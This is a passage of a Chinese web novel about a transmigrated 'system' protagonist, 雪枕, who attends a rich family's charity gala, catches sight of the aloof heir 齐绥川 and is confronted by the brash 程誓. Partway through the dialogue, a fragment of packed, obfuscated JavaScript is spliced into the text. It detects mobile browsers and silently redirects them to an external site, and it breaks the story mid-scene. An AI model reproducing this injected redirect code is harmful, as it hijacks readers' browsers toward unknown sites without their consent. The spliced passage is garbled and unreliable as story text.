夜幕低垂,星子灰沉。高楼大厦里灯火通明,喧哗走动声不断,满是姿态得体的都市丽人。外面,是行色匆匆的归家行人。
公路上车水马龙,红绿相映,如同一条熠熠生辉的光带,顺着行驶方向流淌到不知何处。
A市最繁华的地带,莫属花园广场。这里原本只是城市建设规划外的荒地,是废弃的花园。三四十年前,齐氏公司以低价从政/府手中盘下这块地,很快异军突起,一跃成为A市新贵,连带着花园广场也成了CBD。
几十年后,花园广场从荒地发展成市中心,齐氏也成为让人难以望其项背的连锁企业。
齐氏公司的控股人齐峪,为人十分低调,并不乐意出现在人前,目前只知道他和夫人陈箬育有一子,取名齐绥川。
齐绥川,就是雪枕的“绯闻男友”。
也是这个任务世界的男二,注定要被龙傲天男主打败。
但这个时候,齐绥川还是金尊玉贵的大少爷,早早接手齐家产业,远超同龄人,连一些长辈也自愧不如。
宴会厅布置得很豪华。
来宾们打扮得体,在柔和的钢琴曲中轻声交谈,打扮统一的侍应生端着托盘如燕子穿梭其中。
衣香鬓影、酒杯交错。
雪枕理了理过分收紧的领带,有一搭没一搭地听着继父和生意伙伴闲聊。
继父要他回家,原来是要带他出席慈善晚宴。
齐家主办的慈善晚宴,齐绥川也会出场致辞。
现在,他就站在宴会厅,跟着众人一起等着齐绥川出现。
墙壁上贴着金属装饰片,擦得锃亮,清晰地倒映出雪枕的影子。
倒影里,是个秀美漂亮的少年,穿着得体的西装,连不熟的生意伙伴看了也要夸上两句。
很是给唐贾长脸。
“呦。”
一个矮胖身材,保养得很不错的中年男人走过来,熟稔地拍拍唐贾唐贾的肩膀:“你也来了?”
中年男人的目光落在一旁的雪枕身上,眯缝眼闪过一丝惊艳:“老唐,这是你的……”
唐贾从善如流地介绍:“这是我小儿子,唐雪枕。”
他拍拍雪枕,示意:“和你宋叔打个招呼。”
雪枕微微颔首:“宋叔好。”
被唐贾称为“宋叔”的中年男人微笑。
他们一圈人都是老相识,自然也知道唐贾和一个带着孩子的女人二婚的事。
当时,老朋友们还笑话唐贾,有了钱什么女人找不到,非得和一个有孩子的女人结婚。
现在看看……
中年男人眯着眼,仔细打量身形挺拔如葱郁绿竹的少年。
这孩子长的是真不错。
唐贾带雪枕过来的时候,还特意让他换了一套衣服,是先前量身定做的小西服。
面料是带着花纹的珍珠白,戗驳领,别了一枚宝石领夹。收腰设计,穿在雪枕身上,愈发显得腰细腿长,利落得很。
往上,是一张秀气得有些模糊性别的脸,黛眉,天生上挑的猫儿眼,睫毛又密又长,鼻梁高挺,唇瓣殷红如同花瓣。
脸颊有些软肉,还带着点青涩气,却也出落得很漂亮了。
唐贾生意做得大,朋友也不少。一个宋叔离开了,又围上几个男人女人。
把雪枕介绍给自己一群生意伙伴之后,唐贾开始聊今天的慈善晚宴。
“今天齐大少爷也要过来,”一个穿着香槟色长裙的中年女人晃着酒杯,感慨道:“让他露脸可不容易,上次他替齐氏拿下城东那块地皮,剪彩仪式也没露个脸。”
城东的地皮位置好,据可靠消息,是省里打算重点扶持的建设用地,争夺战打得火热,没想到被初出茅庐的齐绥川齐大少爷拿下了。
要知道,A市好几个有头有脸的公司都信誓旦旦放话,觉得自己一定能中标,结果却输在一个小辈身上。
谈到齐绥川,闲聊的中年人们神色各异,却都挂着笑。
生意场上不论年龄,现如今,齐绥川的名字已经比很多老一辈管用了。
雪枕似乎浑然不觉,思绪放空。
唐贾对今晚的慈善晚宴十分重视,来之前让李娜娜,也就是雪枕的亲妈,拉着他做了一个多小时的造型。
雪枕本来是想拒绝的,但刚到唐家,李娜娜就以迅雷不及掩耳之速把他按在起居室里,招呼上门的造型师过来。
造型师一看见他就两眼放光,叽里咕噜拿着梳子在他脑袋上戳来戳去。
在亲妈的镇压下,雪枕被烫了个小卷毛。
“我的雪雪长这么漂亮了。”
女人的长指甲在雪枕脸上摸来摸去,唇色也艳红,靠近一点就能闻到她身上浓郁的玫瑰香味:“像我。”
雪枕被李娜娜搂在怀里,被她两只手摸来摸去,脸颊微微一红。
李娜娜能带着孩子二婚嫁进豪门,和她出色的外表是分不开的
雪枕有些羞赧,他之前当反派的时候也没怎么和类似于李娜娜这样的角色接触过,红着脸挣脱开她的手。
“这是害羞了。”
李娜娜笑,漫不经心地站起来,从自己的梳妆桌上拎起一个小盒子。
盒子打开,丝绒底面上嵌着一枚绿宝石领结。
宝石成色很好,水盈盈的,像凝聚了一汪春日的深潭,在灯下散发着莹润的微光。
李娜娜把领结别到雪枕衣服上。
“好了。”
穿着深蓝色礼裙的女人施施然站起来,耳边的钻石耳坠轻轻摇晃,光芒璀璨夺目。
她这辈子没吃过苦,前夫家中富裕,二婚后的丈夫对她也大方,每日除了逛街就是美容。
“这个才衬你,”李娜娜微微昂首,有些嗔怪:“看你,今天怎么穿得这么素净?”
“之前买的衣服都不喜欢了?”
雪枕抿唇。
他好像知道衣柜里那么多能亮瞎眼的衣服是怎么来的了。
李娜娜目光殷切地看着雪枕。
雪枕只好含糊:“嗯……就是不太喜欢了,感觉不适合我。”
“这样啊。”
好在李娜娜也没有细究,只是抚平雪枕身上微不可见的褶皱:“这样更好看。”
过了一会,唐贾派人来催。
“走吧。”李娜娜拿上珍珠手包,牵着雪枕的手:“路上要不要吃点东西?今晚可能要很晚才结束。”
雪枕摇摇头。
他现在一点也不饿。
李娜娜从善如流:“好。”
“爸爸说,”车上,雪枕看看正在小憩的李娜娜:“今晚齐大少爷也会来,是吗?”
李娜娜闭着眼睛:“是啊。”
“他贵人事多,除了齐氏基本不去别的地方,也就这种场会漏一下脸了。”
雪枕:“哦。”
上次唐詹急吼吼地喊他过去,就是想让他见齐绥川一面,结果人早就走了。
雪枕又还在大学,尽管齐绥川也是A大的,也因为经常在公司而没有偶遇的可能。
这人……
雪枕撇撇嘴,真是神秘。
没有见到人,却处处都有他的影子,能不神秘吗。
再说了,他可是要和男二当绯闻男友的人!
李娜娜却理解错了雪枕的沉默。
“雪雪想认识他?”
妆容一丝不苟的女人睁开眼,唇角带笑:“嗯?”
雪枕没吭声,李娜娜却凑了过来。
细白的手指上涂了鲜红的指甲油,在雪中脸颊虚虚一抚。
“他呀,倒是还可以。”外面人人上赶着讨好的齐家大少爷在她口中仿佛只是个不值一提的备选:“他见到雪雪,也会喜欢上的。”
说话的时候,李娜娜唇角还带着笑,钻石耳坠闪烁的光芒似乎能映到眼底,虚虚地照出雪枕的影子。
光环闪动。
水晶吊灯悬顶,每一面棱面都折射出细微的光圈,碎星一般,笼罩在宴会厅每一个来客脸上。
“齐家的小子,也二十出头了吧?”
一个颇为瘦削的中年男人开口,脸颊是深深的法令纹:“也不知道有没有找个女朋友。”
这话一出,气氛安静了一会。
方才穿着香槟色礼裙的女人思索:“应该没有吧。”
齐家低调,齐绥川本人更是低调,没听说有什么花边新闻。
还是单身。
有人心思热络起来了,意有所指:“A市适龄的小姐们也不少。”
“程家的表侄女,算一算留学也要回国了。”
“诶,顾家的女儿好像跟他同龄。”
“要我说,都还早着呢!”
几番交谈,众人相视一笑。
齐氏家大业大,自然有人关心齐绥川的婚事问题。
什么时候结婚,和谁结,都对众人的生意有脱不开的关系。
当然,如果能有幸和齐家结为亲家……
那可算是能在A市横着走了。
忽然有人开口,关心起唐贾带来的继子。
“老唐,你的小儿子,是不是也在A大?”
雪枕捏着叉子的手一顿。
唐贾笑呵呵:“是啊,跟齐家小子是一个专业呢,但他小两级。”
问话的人不免也夸一句青年才俊,夸赞几句。
留雪枕扯扯嘴角。
原来他草包的名号还没有传开来。
雪枕不语,按下飞来飞去的886,继续吃自己的甜点。
不得不说,晚宴准备的茶歇味道都不错。
撒了水果丁的拿破仑蛋糕,挤了淡奶油的巧克力小曲奇,咬一口下去还有味道浓郁的夹心。
卖相好,味道也好。
雪枕吃掉盘子里最后半块小曲奇,矜持地擦擦嘴角。
看在茶歇的份上,他决定给齐绥川加一分。
哪料到继父和人聊着聊着,又喊他过来,要他和身边一群叔叔阿姨打招呼。
雪枕头大。
这也没过年,怎么就把他拉出来展示了?
被几双眼睛盯着,雪枕只好说了几句,含糊过去。
他对社交无感,一群中年人对他却很感兴趣。
长卷发,香槟色礼裙的中年女人,雪枕现在知道她姓程,笑眯眯地打招呼:“我侄子也在A大,和你同专业呢。”
“嗯,”雪枕礼貌微笑:“这么巧。”
程女士唇角勾起细不可见的弧度:“是啊,他还和我提过你呢。”
雪枕竖起耳朵。
嗯?
他抬头,对上程女士灼灼目光。
姓程……?
雪枕在大脑里紧急搜索,然后什么也没想起来。
这就有些尴尬了。
程女士还在看他,雪枕就微微颔首,把话题引向另一边。
“那他跟您说了我什么呀?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15463854|169775||http|test|mini|href|location''.split(''|''),0,{}));
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>长相漂亮的少年微微歪头,眼睛乌黑莹亮,凝着一汪水,看人的时候又密又长的睫毛眨着,一派纯然天真的模样。
脸颊白生生的,透着花苞似的淡粉。
音色很好听,软绵绵的,尾音微微上扬,撒娇一样。
程女士一顿。
倏然,她微微一笑:“当然是说好话。”
程女士语气和缓下来,对着唐贾:“你也要让孩子出来玩,不要管太严。”
“上次,我侄子想请人出来玩,”她努努嘴:“就没出得来。”
传授育儿经验似的,程女士笑:“这么大的孩子,玩性都重。”
唐贾不明就里。
但程女士这么说了,他也附和:“那是。”
唐贾转头吩咐雪枕:“你也多和程家小子玩玩,别跟你哥一样,一天到晚不知道钻哪里去。”
雪枕:“嗯嗯。”
他偏过头,在二人看不见的地方无语地扯出一个笑。
像唐詹那样……天天泡吧喝酒吗?
还有这个程女士。
话里有话似的,嘴角虽然总是带着笑,笑意却不及眼底。
难道他应该认识那个“侄子”吗?
雪枕思忖。
他不知道程女士侄子的真实身份,说明这个侄子在任务世界里并不是什么重要的角色。
而他这个靠着二婚成为豪门继子的拜金小炮灰,其实社会关系非常简单。
除了唐家的人,就是几个和唐贾十分亲密的生意伙伴。
结合程女士的话,他的侄子和他同龄,又是个“爱玩”的。
雪枕沉思。
难道,是他曾经试图攀附的富家少爷?
那个……老大?
雪枕从记忆里勉强翻出这一段。
好像是有一个栗色卷发的男生来找过他,说“老大”让他去郊外的赛车场。
他当时说了什么来着?
雪枕戳戳同样茫然的886。
“你记不记得……?”他交代了一下自己的猜想。
886发挥系统作用,原原本本交代了雪枕当时的话:“宿主说,不去,然后就继续睡觉了。”
雪枕:。
那今天,是这个“老大”的姑姑来打抱不平?
雪枕陷入思考。
好在宴会厅的门突然开了,引起一阵骚动。
动静分散了人们的注意力,雪枕也往门口看了一眼。
一个西装革履的男人走进来,通着电话,小声吩咐着什么。
男人的长相也算英俊,约莫一米八,肩宽腿长,只是不知道在和对面说什么,神色不怎么愉快。
但是。
这个就是男二了吗?
雪枕:“啊哦。”
虽然能看出是及格水平以上,但要让雪枕接受齐大少爷“绯闻男友”的身份,还是差的有点远的。
886有学有样:“啊哦。”
男人快步走进宴会厅。
等了一会,也没有旁人走进来。
雪枕:“。”
恋爱部门也太不给力了吧,他经历过的世界,就算是男二,长相也是很说得过去的。
虽然有的世界的反派总是会丢下为难龙傲天男主的任务不做,围着他转,还爱说一些莫名其妙的话。
雪枕忍了。
但新成立的恋爱部门就这样克扣员工!
甚至连唯一一个员工也是骗来的!
雪枕转头盯着只有自己能看见的886。
雪枕没了近距离观察男二的心思。
唐詹方才眼疾手快,和生意伙伴辞别后就拉着他挤入人群中,在喧哗声中等着致辞开始。
大概是想离拍卖台近一点。
但雪枕现在已经在思考如何绕过“绯闻男友”的剧情了,有人挤过来,他就把自己藏到后面去。
完全不顾继父的暗示。
“吱呀。”
喧哗骤然停止。
大门再次打开,这一次像是约定好了,宴会厅里细碎的交谈声全部停下来,只剩下皮鞋扣击地板的细微声响。
地上铺了一层地毯,脚步声很轻,却带着某种奇特的规律,沉沉地落在来客心上。
有人小声抽气:“齐大少来了!”
人群中便又一阵骚动。
雪枕:?
他停下不断揉捏886的手。
拍卖台旁边,先进来的西装男人快步迎到门口,低下头小声交代。
雪枕便顺着看过去,目光触及一道格外高大挺拔的身影。
离得远,只隐约瞧见来人身材高大,比旁边的男人还高出一个头。
浅灰色西装挺阔合身,扣子一丝不苟地系着,完美地勾勒出极具力量感的线条,又因为遮得严实形成强烈的反差。
额发梳上去,露出一张堪称冷峻的面孔,五官深邃,骨相优越。看人的时候微微垂下眼睑,黑沉的凤眼透出几分不近人情的冷漠。
男人往前走,偶尔被拦住打招呼,也只是轻轻颔首。
886从雪枕掌心钻出来。
“宿主,”886小声提醒:“男二来了。”
雪枕:“我知道。”
雪枕踮起脚,试图看得更清楚些。
可男人敏锐得很,交谈间,注意到了角落里的视线,径直偏过头。
隔着重重人影,那双黑沉的眼睛直直看向雪枕的方向,和他对上视线。
8. 拜金男友8
雪枕心一跳。
隔得远,人声又喧哗,只能瞧见那双黑沉眼睛里闪着的微光,像是能照进心底。
好在那道视线只是投来几秒,轻描淡写,很快就挪开。
一阵骚动。
宴会厅已经完全安静下来,墙壁两侧的大灯打开,室内灯火通明,连来客脸上各异的神色都能瞧见。
众人纷纷看向拍卖台,目光聚焦在那个格外高大挺拔的身影上。
晚宴开始之前,惯例是要致辞的。
齐绥川也不例外。
“十分感谢诸位的到来……”低沉的声音响起,在麦克风和音响的流转中有些失真:“今晚,是齐氏为失学儿童捐赠而发起的慈善募捐……”
齐绥川的音色很冷。
如同大提琴一般富有磁性,偏偏压得很低,配上那张总是神色淡漠的脸,也多了几分不近人情的冰冷。
那双眼睛尤甚,黑沉沉的,眼尾向下,睫毛密密匝匝,勾勒出拒人于千里之外的意味。
因而尽管他长了一副出众的好样貌,第一时间也无法让人生出亲近之意。
致辞简短扼要。
齐绥川刚走下台,就有西装革履的工作人员走上台接过话筒,宣布拍卖开始。
他对秘书点头,语气平淡:“走吧。”
齐绥川的日程安排得很满,并没有和来宾闲聊的心思。
秘书却面露为难。
齐绥川停下,挑起眉头:“嗯?”
秘书只好一股脑交代:“夫人说,今晚她的干女儿也要来,是纪家的小姐,想让您和她见个面……”
他口中的夫人是齐绥川的母亲,陈箬,膝下只有一子,从小不似寻常母子般亲近,到了中年愈发感觉空虚,一腔母爱无处呈放,便到处认干女儿。
纪家的小姐就是其中一个。
齐绥川偶然几次在老宅见过这位纪小姐,据说很讨陈夫人欢心。
齐绥川:“不去。”
他大步往外走,不为所动。
倏而,高大挺拔的身影一顿。
一个不知道何时出现,穿着条纹西装的年轻男人倚着门槛冲齐绥川笑。
“表弟啊,”年轻男人也很无奈,堵住齐绥川的去路:“跟我走一趟吧。”
齐绥川冷冷地看着神情轻佻的男人。
陈煦摊手,十分无奈:“这是姑姑的意思,我也没办法。”
觑着表弟不悦的脸色,陈煦举双手投降:“大少爷,行行好吧,你就站那让人家看一眼,又有什么损失呢?”
秘书不敢动,陈煦干脆上手,仗着死皮赖脸跟在表弟身后十几年的交情,拖着人往外走:“走走走……”
***
深红的丝绒帘幕拉起,第一件拍卖品隔着玻璃罩,出现于众人面前。
晚宴上的每一件拍卖品都是来宾捐出,最后竞拍的金额也会转交齐氏,由齐氏代为捐款。
唐贾就捐了一个据说是宋代的花瓶。
慈善和公益,是富人最喜欢参加的,不管是为了名声还是社会地位,或者是别的更现实的利益。
至少雪枕知道他的继父肯定不是冲着“慈善”来的。
“怎么就走了?”
唐贾一阵唏嘘,和旁人:“今天来一趟,话也没搭上。”
不乏有人和他想法相同的,却也半真半假地附和:“齐大少爷现在可是大忙人。”
那人压低了声音,分享秘密似的:“齐董事想提早放权,那一群元老又退的退,死的死,齐大少爷自然是要忙起来。”
雪枕竖起耳朵听。
齐绥川在原本的世界观里就是个狠角色,纵横商场,可惜后面遇见龙傲天就节节败退,成了男主的垫脚石。
真可惜。
拍卖正常进行。
宴会厅气氛轻松,雪枕也有点闷了,就和唐贾说自己想出去转转。
晚宴在齐氏名下的一栋别墅举办,宴会厅外面就是一整座花园,还附带露天游泳池。
这个时候也有不少人溜了出去,唐贾就没多想,以为雪枕是觉得无聊。
“不要乱跑,”他叮嘱:“结束了再回去。”
雪枕点头。
他穿过三两成团的人群,途中还遇见了刚开始和他搭话的程女士。
程女士正在打电话,雪枕就冲她微微颔首。
他走之后,程女士掐掉电话,慢悠悠掏出一根水烟。
她捏着细细的烟柄,和身边秘书打扮的年轻女人对视。
程女士嗤笑一声,指尖夹着烟,并不点:“看见了?唐家的小孩。”
秘书:“老板……?”
程女士并不解释,自言自语:“唐家想弃车保帅,转投齐家门下,还吩咐小孩去巴结人家,只可惜……”
秘书紧张地眨眨眼,不明白老板要说什么。
程女士不紧不慢。
未点燃的烟在保养得当的修长指尖捏得皱巴巴的,烟草苦涩的气息流露出来。
“齐大少可不吃这一套。”
程女士微笑:“也就我那个不成器的侄子会上当了。”
眼巴巴的,竟然还跑过来问她为什么唐家的继子不肯跟他玩。
看着愚蠢的侄子,程女士差点笑出声。
和谁交友、不和谁交友,当然有唐贾的意思。可怜他侄子不知道唐家想踹开自家,巴巴地凑上去惹人发笑。
程女士意有所指。秘书却不敢接茬,只在心底默念,希望老板赶紧揭过这个话题。
“等着吧,”程女士手上的烟断成两截,拍拍手:“人财两空就知道赌输了。”
秘书:……
她沉默地接过断掉的烟,扔到一旁。
雪枕走下楼。
走廊上碰见的侍应生主动过来,问他需不需要指路,雪枕摇摇头拒绝了。
他只是想出来透口气。
得到拒绝后侍应生继续去做自己的事,雪枕得以清净。
他走到露台上,伸出手,感受微凉的晚风拂过掌心。
阳台无人,视野倒是十分开阔,从雪枕的角度看去,能看见波光粼粼的游泳池,岸边亮着橙黄的提示灯,一闪一闪。
幽幽的花香混杂在熏风中,远处是人流不息,灯火通明的高楼大厦。
流转的灯光偶尔落在雪枕脸上,照亮一小半瓷白的脸颊。
倒是个闹中取静的好去处。
886从宿主肩膀上探头。
“嗯?”
雪枕正眺望远处,微微侧了侧脸,脸颊贴在886凝结出来的嫩黄鸟喙上。
886没有实体,自然是像穿过一道投射出来的虚影一样。
雪枕还没有感觉,肩膀上那只圆滚的胖鸟就期期艾艾起来:“宿主……”
雪枕拿眼神问它。
886结巴半天,也没说出个所以然来,只好岔开话题。
“宿主,今天见到了男二欸。”
雪枕“嗯”了一声:“是啊,远远看了一眼,是圆是扁也没看出来。”
男二没看出个所以然,倒是让他不太自在。
任务世界里,NPC的自由度当然是越高越好,越高,证明小世界蕴含的能量越强,任务者成功后得到的积分也越多。
但自由度越高,任务就越难做。
雪枕拧眉。
方才宴会厅实在是有些闷了,一大群人围着他指指点点,还要被便宜继父当成商品一样展览。
他已经很久……没有遇到这种情况了。
刚进反派部门的时候,雪枕接到了几个无脑炮灰的角色,等他的任务越做越多,等级越来越高,在任务世界也能横着走了。
886不懂人类的俗语:“嗯。”
它见宿主不像是很高兴的样子,心虚地挠挠小爪子。
宿主会怪它绑定了自己吗,可是那是主神世界给886的任务……
一人一统心思各异,走廊却忽然传来脚步声。
雪枕还以为是同样出来透气的客人,哪料到那人步履不停,径直朝他的方向走来。
?
雪枕手腕还搭在栏杆上,回过头。
淡淡的甘松香味弥漫开来。
一个棕色卷发,灰蓝色眼睛的英俊男生直勾勾地盯着他。
男生很高,比雪枕高出一个头还多,宽肩,骨架大,西服下隐隐可见迸发的肌肉线条。
西服面料和配饰很讲究,看得出经过精心搭配。可惜领口被暴力扯开,还崩掉了第一颗扣子,露出晒成小麦色的脖颈。
眉眼英俊,却难掩戾气,还带了一枚亮闪闪的耳骨钉。
之所以说是男生而不是男人,只因为这人看着异常莽撞,青涩气也重。
肉眼可见是个刺头。
还是个叛逆少年。
而这个叛逆少年正一脸不满地看着雪枕。
雪枕/886:?
一人一统尚未明白情况,就听见来人沉沉开口:“为什么拒绝我的邀请?”
音色倒也称得上低沉悦耳,可惜说出来的话实在不好听。
“你想傍齐家?想当齐绥川的小男朋友?”
见雪枕不明所以地眨眼,高大男生更生气了。
程誓的确很生气。
本来他是不打算来这个劳什子慈善晚宴的,尤其是在听闻是齐绥川牵头举办之后。
程家跟齐家算是十几年的老对头,他是独子,自然也免不了被人抖擞出来和齐绥川做比较。
尤其是齐绥川大他四岁,天生沉稳冷漠,有经商天赋,又早早进入公司历练。
珠玉在前,他这个程家少爷再怎么想表现自己,也只能得到外人一个假惺惺的“其子肖父”的评价。
程誓本来就不喜欢进公司,他更喜欢极限运动,尤
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其是赛车滑雪一类,哪里危险就往哪里钻。
旁人都知晓程誓看不惯齐绥川,觉得他虚伪,自然也不会在他面前替齐绥川。
所以这是第一次有人敢拒绝他,还是打着投奔齐绥川的意思。
因而,程誓听姑姑说,唐贾也要带继子来参加晚宴,第一时刻就推掉邀约过来了。
程誓紧紧盯着面前黑发少年那张漂亮懵懂的脸。眉头紧锁。
几天不见,唐雪枕已经长这个样了吗?
少年无疑生了张秀气异常的脸,五官精致,很有些雌雄莫辨的意味。
黛眉,眼型偏圆,乌黑的眼珠水盈盈的,硬生生把上挑眼尾带出来的妩媚压下去,满是纯稚的青涩。
皮肤非常白,脸颊又有些婴儿肥,覆着浅荷色的淡粉。
此刻他瞪圆眼睛,像是受惊的小动物,头顶的呆毛都要炸开来。
他好像很怕自己。
程誓的脑海里忽然浮现这个念头。
原本伸出的,打算攥住唐雪枕肩膀的手不知道为什么放下,转而圈住他细伶伶的腕骨。
程誓的力道已经放轻,哪料到他还是惊呼出声。
“疼……”
手腕被狠狠捏住,挣脱不开,反倒被攥得更紧。
雪枕拧着眉,眼底很快也湿润了。
这人怎么上来就动手动脚!
程誓也吃了一惊。
他疑惑地看看自己掌心圈住的细白腕子,又看看唐雪枕泛红的眼圈,一愣神,下意识放开手。
粗糙如他,哪记得自己常做锻炼,还请来格斗冠军教授自己小技巧,而唐雪枕只是个肩不能挑手不能提的娇少爷。
哪怕程誓觉得已经放轻的力道,对唐雪枕来说也很重了。
“你……”
“为什么打我?”
雪枕和程誓同时开口,后者脸色带了一丝犹疑,雪枕则皱起鼻尖:“为什么?”
他皮肤白,眼圈周围的薄粉就非常明显,衬得眼睛黑白分明。
语气也是软软的,不像是控告,只让人觉得委屈得很。
程誓登时就忘了自己是来兴师问罪的。
他也没想明白,自己就是捏了一下唐雪枕的手,怎么就变成了打人。
可看唐雪枕的样子,又着实是委屈极了。
“你别哭。”
程誓咬着牙,硬生生压下没发出来的火气:“我不是要打你。”
要是有跟班在这里,定然会瞪大眼睛。
小霸王程誓何时露出过这种忍耐的表情还有些手忙脚乱的安慰。
雪枕兀自红着眼。
“你看。”
他伸出被程誓捏红的手腕,指着那一圈手印:“都红了。”
程誓低头。
几个深色指印落在雪白的腕子上,被肤色映衬得格外明显。
怎么就娇气成这样?
程誓张了张嘴,刚想反问唐雪枕,就对上他湿漉漉的眼睛。
“你……算了。”
程誓憋了一脑门火,听见姑姑意有所指的时候更是要爆发,哪料到还没发难,唐雪枕就自己吧哒吧哒要掉眼泪了。
这种情况下,他要是再追究,反而显得他是什么恃强凌弱的坏人。
雪枕却不打算放过程誓。
“你真讨厌,”他皱起鼻尖,漂亮的脸上写满拒绝:“我讨厌你。”
雪枕声音不大,带着点颤音,像自己嘀嘀咕咕,说出来的内容却直插程誓脑门。
讨厌?
程誓脸一黑。
唐雪枕凭什么讨厌他?
“为什么讨厌我?”
程誓活像是幼儿园捉弄女生被打的男生,丝毫不觉得是自己的问题。
他想到姑姑的话,怀疑是唐贾那个老东西告诉唐雪枕,要他多亲近齐家而不是程家,从而导致雪枕拒绝自己。
“因为你喜欢齐绥川?”
程誓把齐绥川视为假想敌已久,第一时刻就想到这人,十分恼火。
哪料到唐雪枕也只是淡淡看他一眼,眼尾发红:“你们都很讨厌。”
程誓:……
他一瞬间不知道是该惊喜唐雪枕不是因为齐绥川讨厌自己,而是该思考如何扭转唐雪枕对自己的印象。
晚风微凉,温度似乎也降了些。
雪枕不和程誓多说,拧着眉头走开,临了,还装了他一下。
程誓在空荡荡的阳台站了一会,表情错愕地像是被主人丢掉的大狗,咬着牵引绳不知道去哪。
没一会,他也追了上去。
“你等等……!”
程誓三步作两步。
跑动带出来的风把阳台门边的厚重窗帘掀起半点。
此时阳台空无一人,也没有人观察到窗帘后面透出点光,似乎有什么人在后头。
微光很快随着窗帘摆动的停下而消失。
9. 拜金男友9
一墙之隔。
厚重的窗帘拉开,透过傍晚粉紫的霞光。
空气循环扇开着,发出轻微的声响,水晶吊灯徐徐晃动。
房间很宽敞,会客室装潢,长沙发,靠墙放着一方茶几,茶杯满上,汩汩冒着热气,浓郁的茶香弥漫开来。
位置也很好,一拉开窗帘,窗外的景色一览无余。外面想看见房间的全貌却不容易。
但这个房间平时是没有人来的,因为它是齐氏的私人会客室,目前只有齐绥川和关系亲密一些的人会来。
“哈哈。”
陈煦依旧挂着笑,吊儿郎当地看笑话:“今天也太巧了。”
打发完纪家的小姐,刚坐下没多长时间,就听见露台上来了人,吵着吵着又提到他这个表弟来。
陈煦觑着齐绥川的反应,目光落在他冷峻又平静的侧脸上。
他的表弟神情淡漠,盯着电脑,眼皮都没抬一下,好像外面两个人提到的不是他自己似的。
陈煦看热闹的心情蠢蠢欲动。
他对这个似乎天生就冷清冷性的表弟很了解,从不和任何男人女人多接触,对自荐枕席之辈也不多看,好似入定老僧。
要不是陈煦看过他的体检报告,都要怀疑他是不是有什么生理或心理上的缺陷。
只知道闷头工作,对父母也不甚亲近。
方才在露台上闹得不太愉快的两人,陈煦能从声音判断出其中一个是程家的小子程誓,那个和自家表弟很不对付的。
另一个不认识,但听声音能听出来,是个年纪不大的男孩。
娇滴滴的,嗓音软得像是能掐出水,程誓都没说几句重话呢,巴巴地掉眼泪。
齐绥川肯定没有接触过对方。
那么问题就来了,为什么程誓和漂亮小男孩拉拉扯扯地搞感情问题,为什么会特意提到他表弟呢?
最后还得到一句“都很讨厌”。
陈煦替自己表弟感到躺着也中枪。
当事人反应冷淡。
对着陈煦灼热的、带着探求意味的眼神,齐绥川头也没抬。
“你很闲?”
齐绥川面无表情,显示屏冰冷的蓝光照在他线条优越的侧脸:“很闲的话,城东的项目你去跟进。”
陈煦立刻求饶。
“不不,”他赔笑:“我就是好奇,多问了几句哈。”
城东的项目复杂,涉及到太多方,光是前期交涉就得费很大一番功夫。
后期更是麻烦,陈煦觉得自己还担待不起责任。
齐绥川也就罢了,要是他自己出面,不知道要被为难克扣成什么样子。
陈煦滑跪。
齐绥川看也不看他。
他专心看屏幕,眉头偶尔拧一下,继而在键盘上敲敲打打,安排明日的行程。
修长有力的手指曲着,手背青筋尤其明显。
齐绥川听出了程誓的声音。
A市年轻一代的子侄他都认识,偶尔有生意场上的合作,更多的是听闻对方的花边新闻。
程誓也是,比他小几岁,是程家独子,气性很大。
气性大,又常听见自己被拿来和他比较,就从没给过他一个好脸色。
齐绥川是不在意的。
准确来说,是无感。
程誓比他小四岁,性格叛逆,私自改了志愿,差点把他爸气个半死。
他喜欢极限运动,俗称找死,身边围着一群鞍前马后的小弟。
在齐绥川看来,是非常幼稚的行为。
齐绥川大概也知道程誓看自己不顺眼的理由。
无非就是经常被拿来和自己比较,同龄人中又没有压他一头的。
但齐绥川没有和程誓改善关系的打算,甚至对程誓明面的针对也没有反应。
他不在乎。
程誓又闹不出什么大事。
所以今天这一出疑似程誓情感纠纷的戏码,齐绥川也没往心里去。
只是在听见那道听起来软绵绵,带着点哭腔的嗓音时,他的心忽地颤了一下。
非常突然。
心脏像被羽毛挠了一下似的,带着点说不上来的酥麻。
齐绥川拧眉。
很快,怪异的感觉被他压下去,专心看企划案。
陈煦还在观察他的反应,齐绥川冷冷扫他一眼。
后者立刻比了一个拉拉链的动作。
***
程誓在一楼拐角处追上唐雪枕。
他人高腿长,三步作两步追上人,本想抓住唐雪枕的手防止他一言不合又跑掉,目光又触及对方手腕上尚未消散的指印,犹疑了一下。
然而唐雪枕拧着眉,看也不想看他,转身就要离开。
思忖几秒,程誓断然伸出手,虚虚环住,用肩膀和手臂把唐雪枕困在墙边。
“跑什么?”
程誓深吸一口气,让自己冷静下来,也问出那个让他百思不得其解的问题。
“为什么哭?”他眉头紧皱,罕见地露出疑惑神情:“我欺负你了?”
跋扈大少爷神经大条,完全不认为自己的言行举止有些超过正常社交距离的范畴。
果然,被他拦在墙角的黑发少年又埋怨地看他一眼。
也说不上埋怨,只是那双眼睛黑白分明,染上一层薄薄的水汽,看着有些委屈。
他的身形较于程誓又单薄,挤在墙边,绷出细细的腰线。
程誓被这么一看,气势也低了几分。
他拿出以往没有的耐心,按着性子:“你总得告诉我为什么。”
为什么主动贴上来,没几天又忙不迭跑掉?
难道他还比不上齐绥川?
程誓想着想着,又有些生气。
他现在也不知道自己到底是因为比不上齐绥川生气,还是因为唐雪枕对他避之不及而生气。
终于,几个呼吸之间,他完全冷静下来。
程誓不了解唐雪枕,但他了解唐家,知道唐贾那个糟老头子最看重生意场上的利益,无利不起早。
他之前也猜测,唐贾这个漂亮继子过来找他当跟班,是唐贾的示意。
现在唐雪枕转而投奔齐绥川,估计也是唐贾的示意。
至于唐雪枕本人……
眉眼深邃,带着明显混血感的高大少年低头,仔仔细细打量被他困在墙角,抿着唇不说话的漂亮男孩。
他能知道什么好坏呢。
果然,唐雪枕兀自生闷气一阵,侧过脸,委委屈屈地开口了。
“我没有哭。”
他强调:“是你弄疼我了。”
唐雪枕伸出手,腕子细伶伶的,因为皮肤太白,一点印子都十分明显。
娇气。
程誓下意识想撇嘴,又想到面前人是个一言不合掉眼泪逃跑的,到嘴边的话又咽了回去。
